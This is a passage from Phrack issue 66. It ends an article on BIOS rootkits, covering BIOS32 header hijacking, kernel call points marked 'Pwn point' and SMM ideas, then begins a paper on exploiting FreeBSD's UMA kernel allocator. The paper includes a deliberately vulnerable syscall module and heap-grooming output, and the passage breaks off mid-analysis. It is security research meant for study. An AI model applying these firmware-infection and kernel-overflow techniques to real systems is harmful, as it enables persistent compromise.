What is BIOS32? using Google‑based research we concluded that is an arcane BIOS service to provide information about other BIOS services to modern 32‑bit OSes, in an attempt by BIOS vendors to stay relevant on the post MS‑DOS era. You can refer to [BIOS32SDP] for more information. What's important is that many OSes make calls to it, and the only requirement to being a BIOS32 service is that you must place a BIOS32 header somewhere in the E000:0000 to F000:FFFF memory region, 16‑byte aligned. The headers structure is:

OffsetBytesDescription

04Signature "_32_"

44Entry point for the BIOS32 Service (here you put a pointer to your stuff)

81Revision level, put 0

91Length of the BIOS32 Headers in paragraphs (put 1)

1018‑bit Checksum. Security FTW!

115Reserved, put 0s.

This is a pattern on all BIOS services. The way to locate and execute services is a pattern search followed by a checksum, and then it just jumps to a function that is some kind of dispatcher. This behavior is present in various BIOS functions like Plug and Play ($PnP), Post Memory Manager ($PMM), BIOS32 (_32_), etc. Security was not considered at the time when this system was designed, so we can take advantage of this and insert our own headers (We can even use an option‑rom from this, without modifying system BIOS), and the OS ultimately always trust the BIOS.

You can see how Linux 2.6.27 detects and calls this service on the kernel function:

arch/x86/pci/pcibios.c,check_pcibios()

...

if ((pcibios_entry = bios32_service(PCI_SERVICE))) { pci_indirect.address = pcibios_entry + PAGE_OFFSET;

local_irq_save(flags);

__asm__(

"lcall *(%%edi); cld\n\t" <‑‑‑ Pwn point

"jc 1f\n\t"

"xor %%ah, %%ah\n"

"1:"

...

OpenBSD 4.5 does the same here:

sys/arch/i386/i386/bios.c,bios32_service()

int

bios32_service(u_int32_t service, bios32_entry_t e, bios32_entry_info_t ei) {

...

base = 0;

__asm __volatile("lcall *(%4)" <‑‑ Pwn point

: "+a" (service), "+b" (base), "=c" (count), "=d" (off) : "D" (&bios32_entry)

: "%esi", "cc", "memory");

...

At the moment we don't have any data on Windows XP/Vista/7 BIOS32‑direct‑calling, but please refer to the presentation [JHeasman] where it documents direct Int 10h calling from several points on the Windows kernel.

Faking a BIOS32 header or modifying an existing one is a viable way to do direct‑to‑kernel binary execution, and more comfortable than the int 10 calling (we don't need to jump to and from protected mode), without having to rely on weird stuff like we explained on section 2 and 3.

Unfortunately because of lack of time, we couldn't provide a BIOS32 infection vector PoC in this issue, but it should be relatively easy to implement, you now have all the tools to do it safely inside a virtual machine, like VMware.

‑‑‑‑‑‑[ 5.‑ Future and other uses

Bios modification is a powerful attack technique. As we said before, if you take control of the system at such an early stage, there is very little that an anti‑virus or detection tool can do. Furthermore, we can stay resident using a common boot‑sector rootkit, or file system modification. But some of the more fun things that you can do with this attack is to drop a more sophisticated rootkit, like a virtualized one, or better, a SMM Rootkit.

‑‑‑[5.1 ‑ SMM!

The difficulty of SMM Rootkits relies on the fact that you can't touch the SMRAM once the system is booted, because the BIOS sets the D_LCK bit [PHRACK65]. Recently many techniques has been developed to overcome this lock, like [DUFLOTSM], but if you are executing in BIOS, this lock doesn't affect you, because you are executing before this protection, and you could modify the SMRAM directly on the firmware. However, thistechnique would be very difficult and not generic at all, but it's doable.

‑‑‑[5.2 ‑ Signed firmware

The huge security hole that is allowing unsigned firmware into

a motherboard is being slowly patched and many signed BIOS

systems are being deployed, see [JHeasman2] for examples.

This gives you an additional layer of security and prevent

exactly the kind of attack proposed in this article.

However, no system is completely secure, bug and backdoors

will always exist. To this date no persistent attack on

signed bios has been made public, but researchers are

close to beating this kind of protections, see for example [ILTXT].

‑‑‑[5.3 ‑ Last words

Few software is so fundamental and at the same time, so closed,

as the BIOS. UEFI [UEFIORG], the new firmware interface, promises open‑standards and improved security.

But meanwhile, we need more people looking, reversing and understanding this crucial piece of software.

It has bugs, it can contain malicious code, and most importantly, BIOS can have complete control of your computer. Years ago people regained part of that control with the open‑source revolution, but users won't have complete control until they know what's lurking behind closed‑source firmware.

If you want to improve or start researching your own BIOS and

need more resources, an excellent place to start would be

the WIM'S BIOS High‑Tech Forum [WBHTF], where very low‑level technical discussions take place.

‑‑[6.‑ Greetz

We would like to thank all the people at Core Security for giving us the space and resources to work in this project, in particular to the whole CORE's Exploit writers team for supporting us during the time we spent researching this interesting stuff.

Kudos to the phrack editor team that put a huge effort into this e‑zine.

To t0p0, for inspiring us in this project with his l33t cisco stuff. To Gera for his technical review. To Lea & ^Dan^ for correctin our englis. And Laura for supporting me (Alfred) on my long nights of bios‑related suffering.

‑‑‑[7.‑ References

[JHeasman] Firmware Rootkits, The Threat to the Enterprise, John Heasman, http://www.ngssoftware.com/research/

papers/BH‑DC‑07‑Heasman.pdf

[JHeasman2] Implementing and detecting ACPI BIOS rootkit, http://www.blackhat.com/presentations/bh‑federal‑06/

BH‑Fed‑06‑Heasman.pdf

[BIOS32SDP] Standard BIOS 32‑bit Service Directory Proposal 0.4, Thomas C. Block, http://www.phoenix.com/NR/rdonlyres/

ECF22CEC‑A1B2‑4F38‑A7F9‑629B49E1DCAB/0/specsbios32sd.pdf [COREBOOT] Coreboot project, Flashrom utility, http://www.coreboot.org/

Flashrom

[PHRACK65] Phrack Magazine, Issue 65, http://www.phrack.com/

issues.html?issue=65

[DUFLOTSM] "Using CPU System Management Mode to Circumvent Operating System Security Functions" Loic Duflot,

Daniel Etiemble, Olivier Grumelard Proceedings of CanSecWest, 2006

[UEFIORG] Unified EFI Forum, http://www.uefi.org/

[ILTXT] Attacking Intel Trusted Execution Technology, BlackHat DC, Feb 2009. http://invisiblethingslab.com/resources/

bh09dc/Attacking%20Intel%20TXT%20‑%20paper.pdf

[WBHTF] WIM'S BIOS In‑depth High‑tech BIOS section http://www.wimsbios.com/phpBB2/

in‑depth‑high‑tech‑bios‑section‑vf37.html

[LZH] http://en.wikipedia.org/wiki/LHA_(file_format)

[Pinczakko] Pinczakko Official Website, http://www.geocities.com/mamanzip/

‑‑‑[8.‑ Sources

begin 644 phrack‑66‑07.tgz M'XL(`.>M.$H``^T\_7/;QH[YU?PKMO+E),420^K3ENN^\5=;SXMCC^V^YB;Q

end

‑‑‑‑‑‑‑‑[ EOF

Exploiting UMA

==Phrack Inc.==

Volume 0x0d, Issue 0x42, Phile #0x08 of 0x11

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑=[ Exploiting UMA, FreeBSD's kernel memory allocator ]=‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ By argp <argp@hushmail.com>, ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=| |=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ karl <karl@signedness.org ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ Table of contents

1 ‑ Introduction

2 ‑ UMA: FreeBSD's kernel memory allocator

3 ‑ A sample vulnerability

4 ‑ Exploitation methodology

4.1 ‑ Kernel shellcode

4.2 ‑ Keeping the system stable

5 ‑ Conclusion

6 ‑ References

7 ‑ Code

‑‑[ 1 ‑ Introduction

The latest development version (8.0‑CURRENT at the time of this writing) of FreeBSD has introduced stack‑smashing detection and protection for the kernel by utilizing the incorporation of SSP in GCC [1, 2]. This creates an increased interest in exploring the FreeBSD kernel heap implementation, or zone allocator to be more precise, from a security perspective since it currently provides no exploitation mitigation mechanisms.

This paper presents my findings on exploiting FreeBSD's kernel memory allocator, or UMA ‑ the universal memory allocator [3, 4], on the IA‑32 platform. While a certain amount of knowledge of the FreeBSD kernel's internals and IA‑32 assembly would be useful in following the paper, they are not strictly required. All presented details and supporting code have been tested on FreeBSD 7.0, 7.1, 7.2 and 8.0‑CURRENT from 20090511, but since 7.2 is the latest stable version all code excerpts have been taken from it.

‑‑[ 2 ‑ UMA: FreeBSD's kernel memory allocator

UMA or the universal memory allocator, also referred to as a zone allocator in the documentation, is FreeBSD's kernel memory allocator that functions like a traditional slab allocator [5]. The main idea behind slab allocators is that they provide an efficient memory management front‑end, usually divided into multiple layers, to the low‑level page allocations by retaining the state of constant‑sized items between uses. It is called a slab allocator since it initially allocates large areas, or slabs, of memory and then pre‑allocates on them items of a particular type and size per slab. When the kernel requests through the malloc(9) interface items of a certain type, a pre‑allocated item that was marked as free from the corresponding slab is returned. UMA is also used for arbitrary‑sized malloc(9) requests in which case the requested size is adjusted for alignment to find the suitable slab. The advantages of this approach are no fragmentation of the kernel's memory and increased performance since the items are pre‑allocated and grouped to slabs according to their size.

The exploitation of slab overflow vulnerabilities has been investigated in the past by twiz and sgrakkyu in the context of the Linux and Solaris kernels [6]. Specifically, they have identified that slab overflows may lead to corruptions of a) adjacent items on a slab, b) page frames that are adjacent to the last item of a slab, or c) slab control structures. The example they give in [6] uses approach a) to exploit Linux kernel slab overflows. On FreeBSD I use approach c).

Since FreeBSD's UMA implementation uses the terms 'zone' and 'slab' to refer to conceptually different things, I will now stop using them interchangeably. A full explanation of both is given below, just keep in mind for the time being that in the context of the FreeBSD kernel a zone and a slab are not the same thing.

On FreeBSD we can use the vmstat(8) utility to get a report on the different types of zones that the kernel has created for its data structures, and their characteristics like name, size of the type of item allocated on them, number of items currently in use, and number of free items per zone, among others:

[argp@julius ~]$ vmstat ‑z

ITEM SIZE LIMIT USED FREE REQUESTS FAILURES

UMA Kegs: 128, 0, 94, 26, 94, 0 UMA Zones: 480, 0, 94, 2, 94, 0 UMA Slabs: 64, 0, 353, 1, 712, 0 UMA RCntSlabs: 104, 0, 69, 5, 69, 0 UMA Hash: 128, 0, 6, 24, 7, 0 16 Bucket: 76, 0, 31, 19, 50, 0 32 Bucket: 140, 0, 20, 8, 41, 0 64 Bucket: 268, 0, 27, 1, 76, 11 128 Bucket: 524, 0, 18, 3, 975, 30 VM OBJECT: 124, 0, 830, 69, 12161, 0 MAP: 140, 0, 7, 21, 7, 0 KMAP ENTRY: 68, 15512, 24, 200, 1750, 0 MAP ENTRY: 68, 0, 555, 117, 24862, 0 DP fakepg: 72, 0, 0, 0, 0, 0 mt_zone: 1032, 0, 255, 129, 255, 0 16: 16, 0, 2250, 389, 15191, 0 32: 32, 0, 1163, 80, 10077, 0 64: 64, 0, 3244, 60, 5149, 0 128: 128, 0, 1493, 187, 5820, 0 256: 256, 0, 308, 7, 3591, 0 512: 512, 0, 43, 13, 827, 0 1024: 1024, 0, 47, 81, 1405, 0 2048: 2048, 0, 314, 6, 491, 0 4096: 4096, 0, 101, 12, 4900, 0 Files: 76, 0, 51, 99, 3803, 0 TURNSTILE: 76, 0, 78, 66, 78, 0 umtx pi: 52, 0, 0, 0, 0, 0 PROC: 696, 0, 62, 18, 839, 0 THREAD: 556, 0, 76, 1, 76, 0 UPCALL: 44, 0, 0, 0, 0, 0 SLEEPQUEUE: 32, 0, 78, 148, 78, 0 VMSPACE: 232, 0, 20, 31, 797, 0 cpuset: 40, 0, 2, 182, 2, 0 audit_record: 856, 0, 0, 0, 0, 0 mbuf_packet: 256, 0, 0, 128, 26, 0 mbuf: 256, 0, 1, 141, 778, 0 mbuf_cluster: 2048, 8768, 128, 6, 141, 0

...

Mountpoints: 716, 0, 5, 5, 5, 0 FFS inode: 128, 0, 429, 21, 451, 0 FFS1 dinode: 128, 0, 0, 0, 0, 0 FFS2 dinode: 256, 0, 429, 21, 451, 0 SWAPMETA: 276, 30548, 0, 0, 0, 0

FreeBSD's UMA implementation uses a number of different structures to manage kernel virtual memory. All of these structures can be found in src/sys/vm/uma_int.h. The fundamental one is the zone which is defined as a struct of type uma_zone [7]:

struct uma_zone {

char *uz_name; /* Text name of the zone */

struct mtx *uz_lock; /* Lock for the zone (keg's lock) */

uma_keg_t uz_keg; /* Our underlying Keg */ [2‑1]

LIST_ENTRY(uma_zone) uz_link; \ /* List of all zones in keg */ [2‑2]

LIST_HEAD(,uma_bucket) uz_full_bucket; /* full buckets */ [2‑3]

LIST_HEAD(,uma_bucket) uz_free_bucket; /* Buckets for frees */ [2‑4]

uma_ctor uz_ctor; /* Constructor for each allocation */

uma_dtor uz_dtor; /* Destructor */ [2‑5]

uma_init uz_init; /* Initializer for each item */

uma_fini uz_fini; /* Discards memory */

u_int64_t uz_allocs; /* Total number of allocations */

u_int64_t uz_frees; /* Total number of frees */

u_int64_t uz_fails; /* Total number of alloc failures */

uint16_t uz_fills; /* Outstanding bucket fills */

uint16_t uz_count; /* Highest value ub_ptr can have */

/*

* This HAS to be the last item because we adjust the zone size * based on NCPU and then allocate the space for the zones. */

struct uma_cache uz_cpu[1]; /* Per cpu caches */

};

Each uma_zone structure is created to allocate a specific type of kernel memory and is itself allocated on a zone called 'UMA Zones'. As we can see, uma_zone contains function pointers for allowing the kernel programmer to define custom constructors and destructors for each allocated item. This is an important detail to keep in mind when we are looking for a way to divert the flow of execution after an overflow. uma_zone also holds statistical data for the zone, like the total numbers of allocations, frees and failures. Most importantly, a zone structure also contains two lists of uma_bucket structures, or buckets, which cache items that have been allocated/deallocated from the zone's slabs. These buckets are defined as follows [8]:

struct uma_bucket {

LIST_ENTRY(uma_bucket) ub_link; /* Link into the zone */

int16_t ub_cnt; /* Count of free items. */

int16_t ub_entries; /* Max items. */

void *ub_bucket[]; /* actual allocation storage */

};

In a uma_zone struct the uz_free_bucket list at [2‑4] holds buckets to be used for deallocations of items, while the uz_full_bucket list at [2‑3] for allocations.

To enhance performance on multiprocessor systems each zone also has an array of per‑CPU caches that are logically on top of the zone's buckets. These are defined structures of type uma_cache [9]:

struct uma_cache {

uma_bucket_t uc_freebucket; /* Bucket we're freeing to */

uma_bucket_t uc_allocbucket; /* Bucket to allocate from */

u_int64_t uc_allocs; /* Count of allocations */

u_int64_t uc_frees; /* Count of frees */

};

A keg is another UMA structure used for back‑end allocation that describes the format of the underlying page(s) on which the items of the corresponding zone are stored. Kegs are of type struct uma_keg [10]:

struct uma_keg {

LIST_ENTRY(uma_keg) uk_link; /* List of all kegs */

struct mtx uk_lock; /* Lock for the keg */

struct uma_hash uk_hash;

LIST_HEAD(,uma_zone) uk_zones; \

/* Keg's zones */ [2‑6]

LIST_HEAD(,uma_slab) uk_part_slab; \

/* partially allocated slabs */ [2‑7]

LIST_HEAD(,uma_slab) uk_free_slab; \

/* empty slab list */ [2‑8]

LIST_HEAD(,uma_slab) uk_full_slab; \

/* full slabs */ [2‑9]

u_int32_t uk_recurse; /* Allocation recursion count */

u_int32_t uk_align; /* Alignment mask */

u_int32_t uk_pages; /* Total page count */

u_int32_t uk_free; /* Count of items free in slabs */

u_int32_t uk_size; /* Requested size of each item */

u_int32_t uk_rsize; /* Real size of each item */

u_int32_t uk_maxpages; /* Maximum number of pages to alloc */

uma_init uk_init; /* Keg's init routine */

uma_fini uk_fini; /* Keg's fini routine */

uma_alloc uk_allocf; /* Allocation function */

uma_free uk_freef; /* Free routine */

struct vm_object *uk_obj; /* Zone specific object */

vm_offset_t uk_kva; /* Base kva for zones with objs */

uma_zone_t uk_slabzone; \

/* Slab zone backing us, if OFFPAGE */ [2‑10]

u_int16_t uk_pgoff; /* Offset to uma_slab struct */ [2‑11]

u_int16_t uk_ppera; /* pages per allocation from backend */

u_int16_t uk_ipers; /* Items per slab */

u_int32_t uk_flags; /* Internal flags */

};

While it is possible for a zone to be associated with more than one keg for receiving allocations from multiple source pages, it is not a very common occurrence (except in some network optimization cases for example) and therefore we will focus on the case of having an one‑to‑one association between kegs and zones. When a zone is created by the kernel, the corresponding keg is created as well. A zone's keg holds three lists of slabs:

* uk_full_slab is the list which holds full slabs; that is slabs on which all items are marked as being used or allocated [2‑9],

* uk_free_slab holds slabs on which all items are marked as not being used or free [2‑8],

* the uk_part_slab list holds slabs which contain both allocated and free items [2‑7].

Each slab is of size UMA_SLAB_SIZE which is equal to PAGE_SIZE, which by default is set to 4096 bytes. Slabs are described by uma_slab structures [11]:

struct uma_slab {

struct uma_slab_head us_head; /* slab header data */ [2‑12]

struct {

u_int8_t us_item;

} us_freelist[1]; /* actual number bigger */

};

The slab header structure, uma_slab_head at [2‑12], contains the metadata that are necessary for the management of the slab/page [12]:

struct uma_slab_head {

uma_keg_t us_keg; /* Keg we live in */ [2‑13]

union {

LIST_ENTRY(uma_slab) _us_link; /* slabs in zone */

unsigned long _us_size; /* Size of allocation */

} us_type;

SLIST_ENTRY(uma_slab) us_hlink; /* Link for hash table */

u_int8_t *us_data; /* First item */

u_int8_t us_flags; /* Page flags see uma.h */

u_int8_t us_freecount; /* How many are free? */

u_int8_t us_firstfree; /* First free item index */

};

So, to put it all together, each zone holds buckets of items that are allocated from the zone's slabs. Each zone is also associated with a keg which holds the zone's slabs. Each slab is of the same size as a page frame (usually 4096 bytes) and has a slab header structure which contains management metadata. The following diagram ties together all the UMA data structures we have analyzed so far:

...................

| +‑‑‑‑‑‑‑‑‑‑‑+ |

| |CPU 0 cache| |

| +‑‑‑‑‑‑‑‑‑‑‑+ |

| |

|.‑‑‑‑‑‑‑‑‑‑‑‑‑‑. |

|| uma_cache | | .‑‑‑‑‑‑‑‑. .‑‑

|| ... |<‑‑‑‑|uma_zone|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑>|uma_keg|

||uc_freebucket | | `‑‑‑‑‑‑‑‑' `‑‑‑‑

||uc_allocbucket| | | |

|`|‑‑‑‑‑‑‑‑‑‑‑‑‑' | |

'`|'''''''''''''''' |

| |

| +‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+

| | |

| | |

| v v |

| uz_full_bucket uz_free_bucket |

| .‑‑‑‑‑‑‑‑‑‑. .‑‑‑‑‑‑‑‑

| |.‑‑‑‑‑‑‑‑‑‑. |.‑‑‑‑‑‑‑

| `|.‑‑‑‑‑‑‑‑‑‑. `|.‑‑‑‑‑‑

| `|.‑‑‑‑‑‑‑‑‑‑. `|.‑‑‑‑‑

+‑‑‑‑‑>`|uma_bucket| .`|uma_bucket| |

| `‑‑‑‑‑‑‑‑‑‑' . `‑‑‑‑‑

| . .

| . .

+‑‑‑‑‑‑‑‑‑‑.‑‑‑‑‑‑‑‑‑.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

. .

. . +‑‑‑‑‑‑‑‑‑‑‑‑

. . |

. . v v v . uk_part_slab uk_free_slab uk_full_slab

. .‑‑‑‑‑‑‑‑.

. |.‑‑‑‑‑‑‑‑.

. `|.‑‑‑‑‑‑‑‑.

. `|.‑‑‑‑‑‑‑‑.

. `|uma_slab| `|uma_slab| `|uma_slab|

. `‑‑‑‑‑‑‑‑'.

. .

.

. .

. |uma_slab |

. |

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑. |

| | |uma_slab_head| |

| uma_bucket | | `‑‑‑‑‑‑‑‑‑‑‑‑‑'

| ... | |

| .‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑. | |struct { | |

| |void *ub_bucket[];|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑>|u_int8_t us_item | |

| `‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑' | |us_freelist[]; | |

`‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑' |

`

Depending on the size of the items a slab has been divided into for, the uma_slab structure may or may not be embedded in the slab itself. For example, let's consider the anonymous zones ('4096', '2048', '1024', ..., '16') which serve malloc(9) requests of arbitrary sizes by adjusting for alignment purposes the requested size to the nearest zone. The '512' zone is able to store eight items of 512 bytes in every slab associated with it. The uma_slab structure in this case is stored offpage on a UMA zone that has been allocated for this purpose. The uma_keg structure associated with the '512' zone actually contains a uma_zone pointer to this slab zone (uk_slabzone at [2‑10]) and an unsigned 16‑bit integer that specifies the offset to the corresponding uma_slab structure (uk_pgoff at [2‑11]).

On the other hand, the slabs of the '256' anonymous zone store fifteen items (of size 256 bytes each) and in this case the uma_slab stuctures are stored onto the slabs themselves after the memory reserved for items. These two slab representations are actually illustrated in a comment in the FreeBSD code repository [13]. We include the diagram here since it is crucial for the understanding of the slab structure ('i' represents a slab item):

Non‑offpage slab

________________________________________

| _ _ _ _ _ _ _ _ _ _ _ _ _

||i||i||i||i||i||i||i||i||i||i||i||i||i||i||i| |slab header||

||_||_||_||_||_||_||_||_||_||_||_||_||_|

|_______________________________________

Offpage slab

________________________________________

| _ _ _ _ _ _ _ _ _ _ _ _ _

||i||i||i||i||i||i||i||i||i||i||i||i||i||i||i||i||i||i||i| |

||_||_||_||_||_||_||_||_||_||_||_||_||_|

|_______________________________________

___________ ^

|slab header| |

|___________|‑‑‑+

‑‑[ 3 ‑ A sample vulnerability

In order to explore the possibility of exploiting UMA related overflows we will add a new system call to FreeBSD via the dynamic kernel linker (KLD) facility [14]. The new system call will use malloc(9) and introduce an overflow on UMA managed memory. This sample vulnerability is based on the signedness.org challenge #3 by karl [15] (we don't include the complete KLD module here, see file bug/bug.c in the code archive for the full code):

#define SLOTS 100

static char *slots[SLOTS];

#define OP_ALLOC 1

#define OP_FREE 2

struct argz

{

char *buf;

u_int len;

int op;

u_int slot;

};

static int

bug(struct thread *td, void *arg)

{

struct argz *uap = arg;

if(uap‑>slot >= SLOTS)

{

return 1;

}

switch(uap‑>op)

{

case OP_ALLOC:

if(slots[uap‑>slot] != NULL)

{

return 2;

}

[3‑1] slots[uap‑>slot] = malloc(uap‑>len & ~0xff, M_TEMP, M_WAITOK); if(slots[uap‑>slot] == NULL)

{

return 3;

}

uprintf("[*] bug: %d: item at %p\n", uap‑>slot, slots[uap‑>slot]);

[3‑2] copyin(uap‑>buf, slots[uap‑>slot] , uap‑>len); break;

case OP_FREE:

if(slots[uap‑>slot] == NULL)

{

return 4;

}

[3‑3] free(slots[uap‑>slot], M_TEMP); slots[uap‑>slot] = NULL;

break;

default:

return 5;

}

return 0;

}

The new system call is named 'bug'. At [3‑1] we can see that malloc(9) does not request the exact amount of memory specified by the system call arguments (and therefore the user), but then in [3‑2] the user‑specified length is used in copyin(9) to copy userland memory to the UMA managed kernel space memory. In [3‑3] we can see that the new system call also provides for us a away to deallocate a previously allocated slab item. After compiling and loading the new KLD module we need a userland program that uses the new system call 'bug'. Using this we populate the slabs of the '256' anonymous zone with a number of items filled with '0x41's (file exhaust.c in the code archive):

// Initially we load the KLD:

[root@julius ~/code/bug]# kldload ‑v ./bug.ko

bug loaded at 210

Loaded ./bug.ko, id=4

// As a normal user we can now use exhaust.c:

[argp@julius ~/code/bug]$ kldstat | grep bug

4 1 0xc263f000 2000 bug.ko

[argp@julius ~/code/bug]$ vmstat ‑z | grep 256:

256: 256, 0, 310, 35, 9823, 0 [argp@julius ~/code/bug]$ ./exhaust 20

[*] bug: 0: item at 0xc25db300

[*] bug: 1: item at 0xc25db700

[*] bug: 2: item at 0xc25da100

[*] bug: 3: item at 0xc2580700

[*] bug: 4: item at 0xc2580500

[*] bug: 5: item at 0xc25daa00

[*] bug: 6: item at 0xc2580200

[*] bug: 7: item at 0xc2434100

[*] bug: 8: item at 0xc25db000

[*] bug: 9: item at 0xc25dba00

[*] bug: 10: item at 0xc2580900

[*] bug: 11: item at 0xc25dab00

[*] bug: 12: item at 0xc25db200

[*] bug: 13: item at 0xc25db400

[*] bug: 14: item at 0xc25db500

[*] bug: 15: item at 0xc257fe00

[*] bug: 16: item at 0xc2434000

[*] bug: 17: item at 0xc25db100

[*] bug: 18: item at 0xc2580e00

[*] bug: 19: item at 0xc25dad00

[argp@julius ~/code/bug]$ vmstat ‑z | grep 256:

256: 256, 0, 330, 15, 9873, 0

As we can see from the output of vmstat(8), the number of items marked as free have been reduced from 35 to 15 (since we have consumed 20).

UMA prefers slabs from the partially allocated list (uk_part_slab [2‑7]) in order to satisfy requests for items, thus reducing fragmentation. To further explore the behavior of UMA, we will write another userland program that parses the output of 'vmstat ‑z' and extracts the number of free items on the '256' zone. Then it will use the new 'bug' system call to consume/allocate this number of items. UMA will subsequently create a number of new slabs and our userland program will continue and consume/allocate another fifteen items (fifteen is the maximum number of items that a slab of the '256' zone can hold; getzfree.c is available in the code archive):

// Again, we load the KLD as root:

[root@julius ~/code/bug]# kldload ‑v ./bug.ko

bug loaded at 210

Loaded ./bug.ko, id=4

// As a normal user we can now use getzfree.c:

[argp@julius ~/code/bug]$ ./getzfree

‑‑‑[ free items on the 256 zone: 41

‑‑‑[ consuming 41 items from the 256 zone

[*] bug: 0: item at 0xc25e4900

[*] bug: 1: item at 0xc2592300

[*] bug: 2: item at 0xc25e4300

[*] bug: 3: item at 0xc25e4a00

[*] bug: 4: item at 0xc25e3600

[*] bug: 5: item at 0xc25e4400

[*] bug: 6: item at 0xc25e4000

[*] bug: 7: item at 0xc25e4b00

[*] bug: 8: item at 0xc25e4c00

[*] bug: 9: item at 0xc25e3500

[*] bug: 10: item at 0xc25e4e00

[*] bug: 11: item at 0xc25e4100

[*] bug: 12: item at 0xc2593a00

[*] bug: 13: item at 0xc25e3700

[*] bug: 14: item at 0xc25e4200

[*] bug: 15: item at 0xc2592200

[*] bug: 16: item at 0xc2381800

[*] bug: 17: item at 0xc2593d00

[*] bug: 18: item at 0xc2592600

[*] bug: 19: item at 0xc2592500

[*] bug: 20: item at 0xc235d900

[*] bug: 21: item at 0xc2434b00

[*] bug: 22: item at 0xc2592800

[*] bug: 23: item at 0xc2434800

[*] bug: 24: item at 0xc2592000

[*] bug: 25: item at 0xc2435e00

[*] bug: 26: item at 0xc25e4d00

[*] bug: 27: item at 0xc25e4600

[*] bug: 28: item at 0xc25e3d00

[*] bug: 29: item at 0xc25e3c00

[*] bug: 30: item at 0xc25e4500

[*] bug: 31: item at 0xc25e3900

[*] bug: 32: item at 0xc25e4700

[*] bug: 33: item at 0xc25e3b00

[*] bug: 34: item at 0xc25e3000

[*] bug: 35: item at 0xc25e3200

[*] bug: 36: item at 0xc25e3800

[*] bug: 37: item at 0xc25e3300

[*] bug: 38: item at 0xc25e3100

[*] bug: 39: item at 0xc25e4800

[*] bug: 40: item at 0xc25e3a00

‑‑‑[ free items on the 256 zone: 45

‑‑‑[ allocating 15 items on the 256 zone...

[*] bug: 41: item at 0xc25e6800

[*] bug: 42: item at 0xc25e6700

[*] bug: 43: item at 0xc25e6600

[*] bug: 44: item at 0xc25e6500

[*] bug: 45: item at 0xc25e6400

[*] bug: 46: item at 0xc25e6300

[*] bug: 47: item at 0xc25e6200

[*] bug: 48: item at 0xc25e6100

[*] bug: 49: item at 0xc25e6000

[*] bug: 50: item at 0xc25e5e00

[*] bug: 51: item at 0xc25e5d00

[*] bug: 52: item at 0xc25e5c00

[*] bug: 53: item at 0xc25e5b00

[*] bug: 54: item at 0xc25e5a00

[*] bug: 55: item at 0xc25e5900

During the initial allocations the items are placed at seemingly unpredictable locations due to the fact that the items are actually allocated in free spots on partially full existing slabs. After the current number of free items of the '256' zone is consumed, we can see that the next allocations follow a pattern from higher to lower addresses. Another useful observation we can make is that we always get a final item of a slab (i.e. at address 0x_____e00 for the '256' zone) somewhere in the next fifteen, or generally ITEMS_PER_SLAB, item allocations of newly created slabs. Since we know that the slabs of the '256' anonymous zone have their uma_slab structures stored onto the slabs themselves, we can explore the kernel memory with ddb(4) [16] and try to identify the different UMA structures we have presented in the previous section.

// We start by examining the memory at item #51 (0xc25e5d00).

db> x/x 0xc25e5d00,100

0xc25e5d00: 41414141 41414141 41414141 41414141 0xc25e5d10: 41414141 41414141 41414141 41414141 0xc25e5d20: 41414141 41414141 41414141 41414141 0xc25e5d30: 41414141 41414141 41414141 41414141 0xc25e5d40: 41414141 41414141 41414141 41414141 0xc25e5d50: 41414141 41414141 41414141 41414141 0xc25e5d60: 41414141 41414141 41414141 41414141 0xc25e5d70: 41414141 41414141 41414141 41414141 0xc25e5d80: 41414141 41414141 41414141 41414141 0xc25e5d90: 41414141 41414141 41414141 41414141 0xc25e5da0: 41414141 41414141 41414141 41414141 0xc25e5db0: 41414141 41414141 41414141 41414141 0xc25e5dc0: 41414141 41414141 41414141 41414141 0xc25e5dd0: 41414141 41414141 41414141 41414141 0xc25e5de0: 41414141 41414141 41414141 41414141 0xc25e5df0: 41414141 41414141 41414141 41414141

// Item #50 (0xc25e5e00) starts here, as we can see there are no metadata

// between items on the slab.

0xc25e5e00: 41414141 41414141 41414141 41414141 0xc25e5e10: 41414141 41414141 41414141 41414141 0xc25e5e20: 41414141 41414141 41414141 41414141 0xc25e5e30: 41414141 41414141 41414141 41414141 0xc25e5e40: 41414141 41414141 41414141 41414141 0xc25e5e50: 41414141 41414141 41414141 41414141 0xc25e5e60: 41414141 41414141 41414141 41414141 0xc25e5e70: 41414141 41414141 41414141 41414141 0xc25e5e80: 41414141 41414141 41414141 41414141 0xc25e5e90: 41414141 41414141 41414141 41414141 0xc25e5ea0: 41414141 41414141 41414141 41414141 0xc25e5eb0: 41414141 41414141 41414141 41414141 0xc25e5ec0: 41414141 41414141 41414141 41414141 0xc25e5ed0: 41414141 41414141 41414141 41414141 0xc25e5ee0: 41414141 41414141 41414141 41414141 0xc25e5ef0: 41414141 41414141 41414141 41414141 0xc25e5f00: 0 0 0 0 0xc25e5f10: 0 0 0 0 0xc25e5f20: 0 0 0 0 0xc25e5f30: 0 0 0 0 0xc25e5f40: 0 28203263 0 0 0xc25e5f50: 0 0 0 0 0xc25e5f60: 28203264 28203264 0 0 0xc25e5f70: 0 0 0 0 0xc25e5f80: 0 0 0 0 0xc25e5f90: 0 0 2820b080 4

// At 0xc25e5fa8 the uma_slab_head structure of the uma_zone structure

// begins with the address of the keg (variable us_keg at [2‑13]) that the

// slab belongs to (0xc1474900).

